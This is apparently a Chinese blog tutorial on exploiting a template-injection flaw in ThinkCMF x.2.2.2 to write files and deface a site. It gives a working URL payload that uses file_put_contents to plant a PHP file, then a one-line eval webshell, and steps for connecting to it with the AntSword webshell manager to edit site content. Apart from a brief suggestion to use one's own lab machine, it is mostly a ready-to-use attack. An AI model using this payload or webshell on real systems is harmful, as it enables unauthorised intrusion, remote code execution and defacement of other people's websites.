关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站

一,漏洞复现

引起漏洞的最主要的问题是因为fetch函数和display函数是public类型。

fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。

fetch和display的用法差不多,二者的区别就是display方法直接输出模板文件渲染后的内容,而fetch方法是返回模板文件渲染后的内容。

此段内容摘于网络资料(而我们要做的就是针对这点对漏洞进行利用)

二, 关于使用工具

1.antSword(蚁剑)or菜刀(不过不推荐使用菜刀,安全性没有前者靠谱~)
下载地址:https://github.com/AntSwordProject/AntSword-Loader
具体安装方法网站有,就不赘述了

进入ThinkCMKX.2.2.2网站,(建议自己搭建一个靶机,情况会更加可控)
关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站

第二步

进入网站后在网址后加上代码 ?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’**<?php phpinfo()**; ?>’)(这个就是此网站的漏洞,问题就出在这里)
关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站

第三步

此时生成一个test.php 且文件内容为 <?php phpinfo(); ?>

此刻我们访问 /test.php 执行<?php phpinfo(); ?>会 输出phpinfo()关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站

第四步

创建自己的webshell(即一句话 木马

<?php **@eval($_POST[a])**;?>

将这段代码放入?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘t.php’,’<?php **@eval($_POST[a]);?>**’)

此t.php 文件内容为 <?php @eval($_POST[a]);?>

关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站我在使用时将test改为kai(只是个人习惯,没有其他意思)
此时生成的依然是空白页面

第五步

蚁剑开始派上用场啦

进入蚁剑后,在数据管理处单击右键,点击添加数据
关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站
关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站地址为:靶机的地址加上你所生成的文件
例如 https://000.000.000.000.0000/test.php
密码为之前创建webshell也就是说:a

然后单击左上角 添加

双击创建的地址
找到 1.txt的文件

关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站

进入修改自己想要留下的文字关于ThinkCMK x.2.2.2漏洞如何简单利用以及修改网站

搞定~~